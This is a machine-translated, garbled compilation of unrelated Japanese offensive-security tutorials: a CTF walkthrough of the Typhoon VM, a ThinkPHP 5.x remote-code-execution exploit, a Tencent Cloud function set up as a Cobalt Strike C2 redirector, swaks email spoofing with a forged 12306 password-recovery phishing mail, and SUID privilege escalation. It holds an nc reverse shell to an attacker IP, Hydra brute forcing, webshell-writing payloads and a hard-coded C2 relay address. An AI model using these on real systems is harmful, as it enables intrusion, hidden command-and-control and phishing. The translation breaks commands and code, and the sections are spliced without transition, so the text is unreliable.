|データ接続は単純なテキストになります

|セッションスタートアップでは、クライアントカウントは1でした

| VSFTPD 3.0.2-安全、高速、安定性

| _ end of status

22/TCP Open SSHOPENSSH 6.6.1P1 UBUNTU 2UBUNTU2(Ubuntu Linux; Protocol 2.0)

| ssh-hostkey:

| 1024 02:DF:B3:1B:013360DC:5E:FD:F93:96:D7:5B3:B73333:D633607B333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333:

| 2048 DE:AF3:76:27:90:2A:8F:CF:0B:2FF3360223:F8:423333333333333333333333333333333333333333333333333333333333:36007:DDD(RSA

| 256 70:AE:3633606C:42:7D:ED:1B3360C0:40403360FC:2D:03:8D3:87:11

| _ 256 BB:CE:F2:98:64:F7:8F3360AE:F03:DDD:3C3:23:333333:A6:0F36060F336060

25/TCP Open SMTPPOSTFIX SMTPD

| _smtp-commands: Typhoon、Pipeling、size 10240000、vrfy、etrn、starttls、Enhancedstatuscodes、8bitmime、dsn、

| SSL-CERT: subject: commonname=Typhoon

| : 2018-10-22T19336038:20以前は無効です

| _NOT有効なAfter:2028-10-19T19336038:20

| _SSL-DATE: TLSランダム性は時間を表しません

53/TCP Open Domainisc Bind 9.9.5-3(Ubuntu Linux)

| DNS-NSID:

| _ bind.version: 9.9.5-3-ubuntu

80/tcp open httpapache httpd 2.4.7((ubuntu))

| http-robots.txt: 1無効エントリ

| _/mongoadmin/

| _http-server-header: apache/2.4.7(ubuntu)

| _http-title: Typhoon脆弱なVMによるPrisma CSI

110/TCP OpenPop3?

| _SSL-DATE: TLSランダム性は時間を表しません

111/TCP Open RPCBIND2-4(RPC#100000)

| RPINFO:

|プログラムバージョンポート/プロトサービス

| 100000 2,3,4111/TCP RPCBIND

| 100000 2,3,4111/udp rpcbind

| 100003 2,3,42049/TCP NFS

| 100003 2,3,42049/UDP NFS

| 100005 1,2,338424/UDP Mountd

| 100005 1,2,353737/tcp mountd

| 100021 1,3,444055/udp nlockmgr

| 100021 1,3,460468/tcp nlockmgr

| 100024 139322/TCPステータス

| 100024 145147/UDPステータス

| 100227 2,32049/TCP NFS_ACL

| _ 100227 2,32049/udp nfs_acl

139/TCP Open NetBios -SSN Samba SMBD 3.x -4.x(WorkGroup: Workgroup)

143/TCP Open IMAPDOVECOT IMAPD

445/TCP Open NetBIOS-SSN SAMBA SMBD 4.1.6-Uubuntu(WorkGroup: WorkGroup)

631/TCP Open IppCups 1.7

| http-methods:

| _潜在的に危険な方法: Put

| http-robots.txt: 1無効エントリ

| _/

| _HTTP-SERVER-HEADER:カップ/1.7 IPP/2.1

| _HTTP -TITLE: HOME -CUPS 1.7.2

993/TCP Open SSL/IMAPDOVECOT IMAPD

| _imap-capabilities:機能

| SSL-CERT: subject: commonname=typhoon/gunitionalname=dovecotメールサーバー

| : 2018-10-22T19336038:49以前は無効ではありません

| _NOT有効なAfter:2028-10-21T19:38:49

| _SSL-DATE: TLSランダム性は時間を表しません

995/TCP Open SSL/POP3S?

| SSL-CERT: subject: commonname=typhoon/gunitionalname=dovecotメールサーバー

| : 2018-10-22T19336038:49以前は無効ではありません

| _NOT有効なAfter:2028-10-21T19:38:49

| _SSL-DATE: TLSランダム性は時間を表しません

2049/TCP Open NFS_ACL 2-3(RPC#100227)

3306/TCP Open MySQLMySQL(不正)

5432/TCP Open PostgreSQl PostgreSQl DB 9.3.3-9.3.5

| SSL-CERT: subject: commonname=Typhoon

| : 2018-10-22T19336038:20以前は無効です

| _NOT有効なAfter:2028-10-19T19336038:20

| _SSL-DATE: TLSランダム性は時間を表しません

8080/TCP Open HTTP Apache Tomcat/Coyote JSP Engine 1.1

| http-methods:

| _潜在的に危険な方法: deleteを入れます

| _http-open-proxy:プロキシはリクエストをリダイレクトしている可能性があります

| _http-server-header: apache-coyote/1.1

| _http-title: apache tomcat

Mac Address: 00:0C:29:5A336082:7D(VMware)

デバイスタイプ:汎用

running: linux 3.x | 4.x

OS CPE: CPE:/O:LINUX:LINUX_KERNEL3:3 CPE:/O:LINUX33:LINUX_KERNEL:4

OS詳細: Linux 3.2-4.9

ネットワーク距離: 1ホップ

サービス情報: hosts3:台風、台風; OSS: UNIX、Linux; CPE: CPE:/O:LINUX:LINUX_KERNEL

ホストスクリプト結果:

| _Clock -Skew: Mean: -39M59S、Deviation: 1H09M15S、Media: 0S

| _NBSTAT: NETBIOS NAME: Typhoon、NetBios User:不明、NetBios MAC:不明(不明)

| SMB-OS-Discovery:

| OS: UNIX(Samba 4.1.6-Ubuntu)

|コンピューター名:台風

| NetBios Computer Name: Typhoon \ X00

|ドメイン名:ローカル

| FQDN: Typhoon.local

| _ System Time: 2019-01-30T16336020:26+02:00

| SMB-Security-Mode:

| account_used:ゲスト

| Authentication_Level:ユーザー

| Challenge_response:サポート

| _ message_singing:無効(危険ですがデフォルト)

| SMB2-Security-Mode:

| 2.02:

| _署名が有効になっていますが、必須ではありません

| SMB2-TIME:

|日付: 2019-01-30 09336020:26

| _ start_date: n/a

Traceroute

ホップRTTアドレス

1 1.21 MS 192.168.1.104

OSとサービスの検出が実行されました。誤った結果はhttps://nmap.org/submit/で報告してください。

NMAP DONE: 1 IPアドレス(1ホストアップ)193.97秒でスキャンされた

80,8080,22などのポートが開いていることがわかります。

3。ディレクトリスキャン

DIRBを介してターゲットWebサイトをスキャンして、phpmyadmin、robots.txt、drupal、cms、その他のディレクトリファイルがあることを確認します

1xvrjxfgg518597.jpg

0x03ターゲット攻撃

1。 SSHポートブラスト

1.1列挙account

ポート22は、ターゲットホストユーザーを爆発させるために新しく露出したCVEのOpensshのCVEを使用して、OpenSSH 6.6.1p1であることがわかりました。これは、特定のユーザー向けに1,000のパスワードを爆破することをお勧めします。最初にSearchPloitを使用して、OpenSSH 6.6.1p1で発生する脆弱性を見つけ、2つのユーザー名列挙脆弱性を見つけます。

hbru1wpkd1f8598.jpg

root@kali2018:〜#searchsploit openssh

weov52czmg18599.jpg

MSFを使用してアカウントを列挙します。ここでユーザー名辞書を使用しています:

https://raw.githubusercontent.com/fuzzdb-project/fuzzdb/master/wordlists-user-passwd/names/nameList.txt rst34i5twjb8600.jpg

sugpu0e3qrs8601.jpg

rvcatshitt38602.jpg上記の写真では、管理アカウントが正常に列挙され、ターゲットマシンのSSHがHydraを介して爆破されていることがわかります。

hydra -l admin -p /usr/share/wordlists/rockyou.txt.gz -t4ssh: //192.168.1.104

jblw3gczla38603.jpg

SSHが正常に爆破されたことがわかります。ユーザー名は次のとおりです。管理パスワードは次のとおりです。

リモートターゲットマシンのSSHへのローカルログイン

SSH admin@192.168.1.104

m5umbqypuqd8604.jpg

1me3nhoqxwq8605.jpg

1.2許可の強化

ログインした後、コマンドを試しました:sudo bashを試してから、パスワードを入力して、ルート許可に成功しました。この方法は不安定です

admin@typhoon:〜 $ sudo bash

[sudo] admin:のパスワード

root@Typhoon:〜#

chhwivefpog8606.jpg

2。  WebアプリケーションMongo

2.1情報収集

ポート80とrobots.txtを使用してMongoAdminディレクトリをスキャンします。

訪問:http://192.168.1.104/robots.txt

du45pl2yd508607.jpg

そのディレクトリに移動すると、パブリックマンゴインスタンスを管理するためのWebインターフェイスが表示され、後で数回クリックすると、SSHアカウントの資格情報が表示されます。

yvdjbrmbwyf8608.jpg

jwkrqitfxii8609.jpg

SSH Typhoon@192,168.30.129

lfrg44nmf0n8610.jpg

2.2許可拡張

低い特権シェルを取得した後、次のステップはルートに特権をアップグレードすることです。あなたの情報コレクション中、あなたはそれがあまり奇妙ではないように見える奇妙に見えるスクリプトに気付くでしょう

/-type f -perm /o+w 2 /dev /null |を見つけますgrep -ev '(proc | sys | www)'

mqs1me0zayn8611.jpg

スクリプトは、ルートユーザー許可を使用して実行されているクロンであると推測できます。その後、NCを使用してシェルをリバウンドできます。ただし、NCにはホストに-Eオプションがありません。

問題ない。私たちはまだこのようなことをすることができます。一方で、NCは攻撃マシンでリスナーを開きます。一方、次のコマンドを/tab/script.shに追加します

echo 'rm -rf /tmp /p; MKNOD /TMP /P P; /bin/bash 0/tmp/p | NC 192.168.30.128 1234 /TMP /P ' /TAB/Script.sh

aqoj45rbetg8612.jpg

NCを実行して攻撃ホストでリッスンします

NC -LVVP 1234

hzce2fzp2h48613.png

3。  WebアプリケーションCMS

3.1脆弱性攻撃

さらに進んで、私はホストをスキャンして、いくつかの興味深いディレクトリを見つけました。

2wjnuthpnoq8614.png

結果をスキャンした後、 /cmsディレクトリでは、「lotuscms」と呼ばれるコンテンツ管理システムが実行されていることがわかりました。

lb2sy243hin8615.png

ログインオプションをクリックすると、CMSログインバックグラウンドページにリダイレクトされました。

umeoau0hjbr8616.jpg

次に、このCMSログインのデフォルトの資格情報を検索し、このCMSはeval()関数に存在するリモートコード実行の脆弱性に対して脆弱であることがわかりました。

https://cdn-images-1.medium.com/max/1600/1*Zo2_x5Y63LoUT1UwwjMq5Q.png

リンクを閲覧して、Metasploitがこれにexpを利用することを提供することがわかりました

https://cdn-images-1.medium.com/max/1600/1*viMDAVL336hp-dwlglfwpA.png

KaliでMSFConsoleを開き、次のExpを使用します

rmf5uodt3wl8619.jpg

次に、RHOSTのリモートIPアドレスとURIパスを設定してCMSを実行します。

0x00序文

ThinkPhpのオフィシャルは、2018年12月9日に重要なセキュリティアップデートをリリースし、深刻なリモートコード実行の脆弱性を修正しました。この更新には、主にセキュリティアップデートが含まれます。フレームワークはコントローラー名の十分な検出を実行しないため、強制ルーティングを有効にすることなく、ゲッシェルの脆弱性の可能性につながります。影響を受けるバージョンにはバージョン5.0と5.1が含まれており、できるだけ早く最新バージョンに更新することをお勧めします。

0x01衝撃の範囲

5.x 5.1.31、=5.0.23

0x02脆弱性分析

ThinkPhp v5.0.xパッチアドレス:3https://github.com/top-think/framework/commit/b797d72352e6b4eb0e11b6bc2a2ef25907b7756f

thinkphp v5.1.xパッチアドレス:3359github.com/top-think/framework/commit/802f284bec821a608e7543d91126abc5901b2815

ルーティング情報のコントローラーパーツはフィルタリングされており、ルーティングスケジューリング中に問題が発生することがわかります。

キーコード:

l51fgravy5x8641.png

このプログラムは、修正前にコントローラーをフィルタリングせず、攻撃者は\シンボルを導入してクラスメソッドを呼び出しました。

w4iz1ihsnnf8642.png

$ this-app-controllerメソッドは、コントローラーをインスタンス化するために使用され、インスタンスのメソッドが呼び出されます。コントローラーメソッドのフォローアップ:

$モジュールと$クラスは、parsemoduleandclassメソッドを介して解析され、$ classがインスタンス化されます。

lrf01ixx55a8643.png

parsemoduleandclassメソッドでは、$ nameがBackslash \で始まると、クラス名として直接使用されます。名前空間を利用して、$ name(つまり、ルートのコントローラーパーツ)を制御できれば、任意のクラスをインスタンス化できます。

次に、ルーティングコードを振り返ります。ルート/ディスパッチ/url.php: parseurlメソッドコールルート/ルール。pathinfoのルーティング情報を解析するPhp: parseurlpath

fogz5ocpglm8644.png

コードは比較的単純で、フィルタリングなしで/セグメント$ URLを使用することです。

ルートURLはrequest:3360path()から取得されます

jscfupdrxdw8645.png

var_pathinfoのデフォルト構成はsであるため、$ _get ['s']を使用してルーティング情報を渡すことができます。ただし、テスト中に、$ _Server ['pathinfo'] \ in \ in \ in Windows環境に置き換えられます。以前の分析と組み合わせることで、次のように予備コードを取得できます:index.php?s=index/\ namespace \ class/method。

0x03エクスプロイト

Dockerの脆弱性環境ソースコード:https://Github.com/vulnspy/Thinkphp-5.1.29

ローカル環境:thinkphp5.0.15+php5.6n+apache2.0

http://www.thinkphp.cn/donate/download/id/1125.html

1.システム関数を使用して、リモートコマンドを実行します

http://LocalHost3:9096/public/index.php?s=index/think \ app/invokeFunctionFunction=call_user_func_arrayvars [0]=systemvars [1] []=whoami

aevzbudkimv8646.png

2。phpinfo関数を介してphpinfo()の情報を書く

http://LocalHost3:9096/public/index.php?s=index/\ sink \ app/invokeFunctionFunction=call_user_func_arrayvars [0]=phpinfovars [1] []=1

c4i5v0ax02k8647.png

3。Shell:に書き込みます

http://LOCALHOST:9096/public/index.php?s=/\ \ shink \ app/invokefunctionfunction=call_user_func_arrayvars [0]=systemvars [1] []=echo%20^%3c?php%20@ham

xrlrbkoxctb8648.png

または

http://LocalHost3:9096/index.php?s=index/think \ app/invokeFunctionFunction=call_user_func_arrayvars [1] [] []=./test.phpvars []=?php echo 'ok'

g5yfmymv43z8649.png

まず、Tencent Cloudにログインし、クラウド機能を有効にする必要があります。

Tencent Cloudにログインした後、クラウド機能を検索します。開けるだけです。m4bjeztln2u3472.png

最初にログインし、承認が必要です。

コンソールにログインしたら、[作成]をクリックします。bnkltpxczhs3473.png

関数名は無料で、ゼロから開始することを選択し、環境でPython 3.6を入力し、選択した後に引き下げて、コードを内部に置きます。fbvhiriazsv3474.png

次のコードをコピーして、サーバーアドレスを変更します。

#Coding: UTF8

JSON、リクエスト、Base64をインポートします

def main_handler(イベント、コンテキスト):

応答={}

パス=なし

ヘッダー=なし

try:

C2='http://43.134.164.72:80'

event.keys():の「パス」の場合

path=event ['path']

event.keys():の「ヘッダー」の場合

ヘッダー=イベント['ヘッダー']

event.keys()およびevent ['httpmethod']=='get' :の場合は 'httpmethod'の場合

resp=requests.get(c2+path、headers=headers、verify=false)

else:

resp=requests.post(c2+path、data=event ['body']、headers=headers、firem=false)

印刷(resp.headers)

印刷(resp.content)

応答={

'isbase64encoded': true、

'StatusCode': resp.status_code、

'Headers ': dict(resp.headers)、

'body': str(base64.b64encode(resp.content))[2:-1]

}

E:としての例外を除く

印刷( 'エラー')

印刷(e)

最後に:

返信応答

b2vrexoa4xx3475.png

終了したら、[保存]をクリックしてください!

次に、[トリガー管理]をクリックしてトリガーを作成します

フォーマットは次のように1zf5c2k4vq53476.pngです

API名をクリックして編集し、このページに到着します。パスは /efvxbijzjv23477.pngに変更されます

クリックして、完了後にサービスを公開します

win_tecent_cloud_func.profileという名前のC2のプロファイルファイルを追加しました

SAMPLE_NAME 'T'を設定します。

Sleeptime '3000'を設定します。

Jitter '0'を設定します。

Maxdns '255'を設定します。

set useragent 'mozilla/5.0(互換; msie 8.0; windows nt 6.1; trident/5.0)';

http-get {

set uri '/api/x';

クライアント {

ヘッダー「Accept」*/*';

メタデータ{

base64;

prepend 'sessionid=';

ヘッダー「クッキー」;

}

}

サーバー{

ヘッダー「コンテンツタイプ」 'アプリケーション/OCSP応答';

ヘッダー「コンテンツ転送エンコード」「バイナリ」。

ヘッダー「サーバー」 'nodejs';

出力{

base64;

印刷;

}

}

}

http-stager {

set uri_x86 '/vue.min.js';

set uri_x64 '/bootstrap-2.min.js';

}

http-post {

set uri '/api/y';

クライアント {

ヘッダー「Accept」*/*';

id {

base64;

'jsession=';

ヘッダー「クッキー」;

}

出力{

base64;

印刷;

}

}

サーバー{

ヘッダー「コンテンツタイプ」 'アプリケーション/OCSP応答';

ヘッダー「コンテンツ転送エンコード」「バイナリ」。

ヘッダー「接続」 'キープアリブ';

出力{

base64;

印刷;

}

}

}

保存後、CSディレクトリに保存します。

CSサーバーを起動します

./TeamServer VPSIP Admin12345 win_tecent_cloud_func.profile swbiudj4dnf3478.png

パブリックネットワークインターフェイスアドレスドメインクラウド関数のドメイン名をリスナーのHTTPホストとステイガーのホストに入力します

HTTPおよび80 mb4ft4dqmup3479.pngに注意してください

リスニング3xlpsjvijgl3480.pngを追加します

シェルを生成した後、正常に起動されました。78.png元のテキスト接続:https://Blog.bbskali.cn/3771.html

0x00スワークは序論

Swaksは、John Jetmoreによって作成および維持されている強力で、柔軟で、スクリプト可能な、トランザクション指向のSMTPテストツールです。

現在、SwaksはプライベートSVNリポジトリでホストされています。公式プロジェクトページはhttp://jetmore.org/john/code/swaks/です

ダウンロードとインストール:( KALIシステムが付属しています。エラーがある場合は、次のアドレスを使用してダウンロードしてインストールできます)

v20181104.0リリース:http://jetmore.org/john/code/swaks/files/swaks-20181104.0.tar.gz

前提条件:yumインストールperl(centos)

Tar ZXVF SWAKS-20181104.0.TAR.GZ

CD Swaks-20181104.0。

./swaks

0x01スワークは

を使用します

1。基本的な使用構文:

1).swaks -to test@qq.com //電子メールの接続性をテストします。

root@localhost swaks-20181104.0]#./swaks-to 60146@qq.com

*** MXルーティングは利用できません3:にはNet:DNSが必要です。 localhostをメールサーバーとして使用します

===localhost:25を試す.

===localhostに接続。

-220 localhost.localdomain esmtp postfix

-Ehlo localhost

-250-localhost.localdomain

-250パイプライン

-250サイズ10240000

-250-Vrfy

-250-Ern

-250強化型筋

-250-8Bitmime

-250 DSN

-:root@localhostからメール

-250 2.1.0 OK

-RCPT to:60146@qq.com

-250 2.1.5 OK

- データ

-354 crlf.crlfを使用したデータを終了します

-date: Thu、2019年5月9日18:24:15 +0800

-to: 60146@qq.com

-from: root@localhost

-FASTAL: TEST THU、2019年5月9日18:24:15 +0800

-messay-id: 20190509182415.044457@localhost

-X-Mailer: Swaks v20181104.0 jetmore.org/john/code/swaks/

-

- これはテストの郵送です

-

-

- 。

-250 2.0.0 ok:は056576152155としてキューに留められています

- やめる

-221 2.0.0 Bye

===リモートホストとの接続は閉じています。

前のものは250OKを返します。つまり、メールアドレスが存在し、正常にメッセージを受信できることを意味します。最後に、QQメールアドレスが550エラーを返すことがわかります。 QQオフィシャルによって与えられたエラーの理由は、電子メールの内容が大規模な大量送信の疑いがあり、ほとんどのユーザーからスパムとして不平を言っているからです。

2)。パラメーターの説明(ここに簡単にリストします。より具体的なコンテンツについては、表示して理解して理解するために使用できます)

- from test@qq.com //送信者の電子メール。

-ehlo qq.com //送信者の電子メールのドメイン名である電子メールehloヘッダーを偽造しました。 ID認証を提供します

-body 'http://www.baidu.com' //引用符の内容は電子メールの主なテキストです。

-header 'subject:hello' //メールヘッダー情報、件名は電子メールタイトルです

-data ./desktop/email.txt //通常のソースメールのコンテンツをtxtファイルに保存してから、通常のメールとして送信します

2。鍛造送信:

1)シンプルなコンテンツを送信します(QQのメールアドレスはSPFによって傍受され、NetEaseは正常に送信できます)

[root@localhost swaks-20181104.0]#./swaks-to -to backlix@163.com - from wenqi×@gmail.com---ボディミスター・Zhuge、それをしないでください〜---------------- header 'sima' - server mail.smtp2go.com -p 2525 -au smtpgo.com -pau esername need courd eas aap www.smtp2go.com。追加しない場合- サーバー、エラーが表示されます:「MXルーティングは使用できません:localhostをメールサーバーとして使用するには、ネット: DNSをセットアップする必要があります。

===mail.smtp2go.com:2525を試してみてください.

===mail.smtp2go.comに接続されています。

-220 Mail.smtp2go.com ESMTP exim 4.91 Thu、2019年5月9日10:42:22 +0000

-Ehlo localhost

-250-mail.smtp2go.comこんにちはlocalhost [171.223.206.218]

-250サイズ52428800

-250-8Bitmime

-250-dsn

-250パイプライン

-250-Auth Cram-MD5プレーンログイン

-250チャンキング

-250-starttls

-250-PRDR

-250ヘルプ

- 認証ログイン

-334 VXNLCM5HBWU6

-ymfja2xpb24=

-334 UGFZC3DVCMQ6

-ywpwmmvttnljrfp5zwpobw==

-235認証が成功しました

-:wenqing1293@gmail.comからメール

-250 OK

-RCPT to:backlions@163.com

-250はbacklions@163.comを受け入れました

- データ

-354「。」で終わるメッセージを入力します。単独で行

-date: Thu、2019年5月9日18:42:21 +0800

-to: backlions@163.com

-: wenqing1293@gmail.comから

-da Simaからのsubject:挨拶

-messay-id: 20190509184221.044782@localhost

-X-Mailer: Swaks v20181104.0 jetmore.org/john/code/swaks/

-

- Zhuge氏、健康で来てください〜

-

-

- 。

-250 ok id=1hogvo-ryujx4-lx

- やめる

-221 Mail.smtp2go.com閉鎖接続

===リモートホストとの接続は閉じています。

hlkbkliunjr8044.png

2)電子メールテンプレートを送信します

テンプレートファイルは、メールボックスに「電子メールの元のテキストを表示」し、readmail.txtとして保存し、受信して関連するコンテンツを削除して、詳細については高度な使用法を参照してください。

[root@localhost swaks-20181104.0]#./swaks-to -to backlix@163.com - from wenqin×@gamil.com - data test.eml - header 'subject:オンラインチケット購入システムユーザーパスワードリカバリ' - サーバーメールnear.smtpgo.com

eboftos01ko8045.png

3)追加のアクセサリ

[root@localhost swaks-20181104.0]#./swaks-to -to backlix@163.com - from wenqi×@gmail.com---ボディ氏Zhuge、良い健康状態〜 - Header 'Syma'からの挨拶'-Attach Level Protection.Docx -Prgo -AU USENMAME -PPRASD -PARDSER.SMTP2GO -PASSPRE

05fwafkb5wj8046.png

4).Complexメール

Swaks-テストするためのメールアドレス - フォームフォードメールアドレス-Ehlo URL - ボディメールコンテンツ - ヘッダーメールタイトル

[root@localhost swaks-20181104.0]#./swaks-to-tobacklions@163.com - from wenqing1293@gamil.com-ehlo freebuf.com-- body hello - header 'subject: hello' hello '

- 送信者のメールアドレスから表示される

–EhloフォードメールEhloヘッダー

- 電子メールテキスト

- ヘッダーメールヘッダー情報、件名は電子メールタイトルです

IPがQQメールアドレスによってバンドされていない場合、メールは正常に送信でき、250が返されます。

nch1cnereqd8047.png

5)LocalHostがメールを送信できない場合、次のコマンドを使用して信頼できるSMTPサーバーを指定できます。

Swaks -to user@example.com -server smtp.example.com

3。高度な使用法

クリックして電子メールの元のテキストを表示し、電子メールの元のテキストをコピーしてtest.emlファイルとして保存します

1zxpt4yxuhc8048.png

test.emlファイルを変更する:to:後のターゲットメールアドレス

sp13s2w5qrd8049.png lc5xddm4i5c8050.png

[root@localhost swaks-20181104.0]#./swaks-to -to backlix@163.com - from wenqin×@gamil.com - data test.eml - header 'subject:オンラインチケット購入システムユーザーパスワードリカバリ' - サーバーメールnear.smtpgo.com

===mail.smtp2go.com:2525を試してみてください.

===mail.smtp2go.comに接続されています。

-220 Mail.smtp2go.com esmtp exim 4.91 Thu、2019年5月9日113360:21 +0000

-Ehlo localhost

-250-mail.smtp2go.comこんにちはlocalhost [171.223.206.218]

-250サイズ52428800

-250-8Bitmime

-250-dsn

-250パイプライン

-250-Auth Cram-MD5プレーンログイン

-250チャンキング

-250-starttls

-250-PRDR

-250ヘルプ

- 認証ログイン

-334 VXNLCM5HBWU6

-ymfja2x×

-334 UGFZC3DVCMQ6

-ywpwmmvttnljrfp5z×

-235認証が成功しました

-:wenqin×@gamil.comからメール

-250 OK

-RCPT to:back×@163.com

-250はbacx@163.comを受け入れました

- データ

-354「。」で終わるメッセージを入力します。単独で行

-mail.12306.cnから受信:(不明[124.127.44.247])

-newmx31.qq.com(newmx)with smtp id

-601462x@qq.comの場合; Sun、2019年1月6日12:40:30 +0800

-X-QQ-FEAT: Y37167HFRFVQGRWAJGHKCRXOZLAGMR/AUASK8GT3AAW=

-X-QMAILINFO: MHG2H55YN1LLKLKLKTJNWQJDTFP46IVGVTPZA2XPOAUP1H+EXLEI+SWRHHT

-MPCCV5GT0HGNIZMREYVHCZG4URIQZKNWHHU6RPKU98DM9WICUCQTNKVA+/BP9CM4+EPY5N1

-RCPL5ZS0XDIDI/Z/GS/EBIWHPP6QSATTZA==

-X-QQ-MID: MX31T1546749631TGGRUYNOG

-x-qq-orgsender: 12306@rails.com.cn

-mail.12306.cnから受信:(不明[10.1.214.138])

-ESMTP ID 4C16720797を使用したMail.12306.cn(Postfix)によって

-6014x0@qq.comの場合; Sun、2019年1月6日12:40:32 +0800(CST)

-date: Sun、2019年1月6日12:40336030 +0800(CST)

-from: '12306@rails.com.cn' 12306@rails.com.cn

-to: 'backlx@163.com' backlio×@163.com

-messay-id: 81646906.18623783.1546749630361@10.1.214.135

-fumfy:オンラインチケット購入システム - ユーザーパスワードを取得する

-Mime-version: 1.0

-Content-Type: MultiPart/Alternative;

- 境界='---=_ part_18623781_1540198882.1546749630360'

-

-----=_ part_18623781_1540198882.1546749630360

-content-type: text/html; charset=gbk

-Content-Transfer-Encoding:引用プリント可能

-

- !doctype html

-HTML

- 頭

-meta charset=3d'utf-8 '

-Meta http-equiv=3d'x-ua互換'content=3d'ie=3dedge、chrome=3d1'

-title12306=cd=a8=d6=aa=d3=ca=bc=fe/title

-meta name=3d'description 'content=3d' '

-meta name=3d'keywords 'content=3d' '

-link href=3d '' rel=3d'stylesheet '

- /頭

- 体

- =09Table CellPacing=3D'0 'CellPadding=3D'0' width=3d'760px '

- =09=09Style=3d'border-pacing: 0; Color: Border: 1PX SOLID#F1F1F1=

- ;マージンLEFT: AUTO; Mirvign-Right: Auto; '

- =09=09tr

- =09=09=09td width=3d'760 '

- =09=09=09=09IMG SRC=3D'http://Mobile.12306.cn/weixin/resources/weixin/imag=

-ES/MAIL/MAIL_TOP.jpg 'width=3d'760' height=3d'275 '

- =09=09=09/td

- =09=09/tr

- =09=09tr

- =09=09=09td width=3d'720 '

- =09=09=09=09 style=3d'padding-left: 20px;パディング・ライト: 20px; background: u=

-RL(http://Mobile.12306.cn/weixin/Resources/weixin/images/mail/mail_train.jp=

-g); background-position:右下。 Background-Repeat: No-Reepeat; '

- =09=09=09=09Table CellPacing=3D'0 'CellPadding=3D'0' width=3d'720px '

- =09=09=09=09=09 style=3d'border-pacing: 0; Color:#333333; '

- =09=09=09=09=09=09tr

- =09=09=09=09=09=09=09TD width=3d'720 '

- =09=09=09=09=09=09=09=09 style=3d'font-size: 16px; height: 40px; font-weight: b=

- 古い;'

- =09=09=09=09=09=09=09=09=d7=f0=be=b4=b5=c4スパンスタイル=3d'color:#ff764c; '=ce=

- =c4=ba=a3=b8=d5=cf=c8=c9=fa=a3=ba/span

- =09=09=09=09=09=09=09/TD

- =09=09=09=09=09/tr

- =09=09=09=09=09=09tr

- =09=09=09=09=09=09=09TD width=3d'720 '

- =09=09=09=09=09=09=09=09DIVスタイル=3D'line-Height: 20px; font-size: 12px; '=c4=

- =fa=ba=c3=a3=a1/div

- =09=09=09=09=09=09=09=09DIVスタイル=3D'line-Height: 20px; font-size: 12px; '=c4=

- =fa=d4=da2019=c4=ea01=d4=c206=c8=d5 12=ca=b140=b7=d6=cc=e1=bd=bb=d5=d2=bb=

- =d8=c3=dc=c2=eb=c7=eb=c7=f3=a3=ac=c7=eb=b5=e3=f7=cf=c2=c3=e6=b5=c4=c1=b4=

- =bd=d3=d0=de=b8=c4=d3=c3=bb=a7wen129=b5=c4=c3=dc=c2=eb:/div

0x00基本

私たち全員が知っているように、すべてはLinuxのファイルとして存在します。これには、3つの実行操作を許可または制限する権限を持つディレクトリやデバイス(つまり、読み取り/書き込み/実行)が含まれます。したがって、ファイルに権限を設定する場合、許可されたLinuxユーザーの権限を知るか、3つの操作すべての許可を制限する必要があります。次の図を参照してください。

g5n4mkjihn38884.png

上記の図からわかるように、各ユーザーの組み合わせ許可を設定するために使用される最大数字数は7です。これは、読み取り(4)書き込み(2)と実行(1)操作の組み合わせです。たとえば、CHMOD 755が設定されている場合、RWXR-XR-Xに相当します。しかし、各ユーザーに特別なライセンスが与えられると、SUID、SGID、および粘着性のビットになります。他のビットが「4」に設定されると、SUID(ユーザーIDの設定)、BITS「2」がグループに設定されると、SGID(SETグループID)になり、他のユーザーがディレクトリにユーザーIDを使用してファイルを作成または削除することを許可され、そのディレクトリにスティッキービット「1」を設定します。

rbdkd0zbh438885.jpg

1. suidライセンスとは?

SUID:SETユーザーIDは、指定されたユーザーの許可を使用してユーザーがファイルを実行できるようにする許可タイプです。 SUID権限を持つこれらのファイルは、最高の権限で実行されます。ターゲットシステムに非ルートユーザーとしてアクセスし、SUIDビットがバイナリファイルで有効になっていることがわかり、これらのファイル/プログラム/コマンドをルートアクセス許可で実行できます。 SUIDの目的は、このプログラムを実行するときにリソースにアクセスするための対応する権限を持たないユーザーを許可することです。 PassWDは非常に明確な例です。 PassWDのこのフェーズの実行プロセスについて学びましょう。 SUIDを設定する方法は?基本的に、「番号」メソッドまたは「シンボル」メソッドを使用して、任意のファイルの権限を変更できます。その結果、下の図に示すように、特定のファイル/コマンドにより高い権限を持つ特別な実行権限を表して、SからXに置き換えられます。 SUIDはユーザーに対して有効になるため、操作の読み取り/書き込み/実行の前にビット4またはシンボルSが追加されます。

nfikqlofhmp8886.jpg

LS -ALを使用してファイルコマンドを実行して表示すると、上記の図に示すようにシンボルスモールが表示されます。つまり、ファイルのsuidビットが有効になり、ルートアクセス許可で実行できます。

2. SUIDは、通常のユーザーが許可を増やすのにどのように役立ちますか?

Linuxでは、SUIDビットが有効になっている場合、非ルートユーザーは、既存のバイナリとコマンドを使用してアクセスをルート化するために特権をアップグレードできます。 Bash、Cat、CP、Echo、Find、Less、More、Nano、nmap、Vimなど、コマンドなどのアクセスをアップグレードできる有名なLinux/Unix実行可能コマンドがいくつかあります。

例をよく見てみましょう。まず、SUDOグループユーザーではないユーザーを作成します。ここでは、1001のUIDとGID 1001のユーザー「Ignite」を追加したため、Igniteは非ルートユーザーです。

bwp3aooddls8887.jpg

0x01「CP」コマンドを使用してアクセス許可をアップグレードします

データをコピーするために使用されるCPコマンドのSUIDビットが有効になっている場合、ルートアクセスを得るために許可エスカレーションを引き起こす可能性があります。たとえば、システム管理者がCPコマンドにSUID権限を提供したいとします。その後、以下の手順に従ってその位置と現在の権限を決定することができ、許可を変更してSUIDビットを有効にすることができます。

どのcp

ls -al /bin /cp

chmod u+s /bin /cp

anodypskirc8888.jpg

一方、

1。最初の方法

は、通常の権限を使用してターゲットシステムにリモートでログインし、検索コマンドを渡してから、許可エスカレーション段階に転送します。 SSHを介して被害者のコンピューターに正常にログインし、非ルートユーザー端末にアクセスするとします。次に、次のコマンドを使用することにより、すべてのバイナリファイルをSUID許可を使用して列挙できます。

tczejdhqfui8889.jpg

上記の写真から、ファイルが多すぎることがわかりますが、 /bin /CPテキストに焦点を当てています。これで、 /etc /パスワードファイルをコピーしてユーザーリストを読み取ることができるためです。したがって、パスワードファイルをHTMLディレクトリにコピーします。

cp/etc/passwd/var/www/html

r4aubs3xgv38890.jpg

一方、OpenSSL PassWDを使用して新しいユーザーハックを生成し、パスワードをPass123に設定します

fozqpzrpc4y8891.jpg

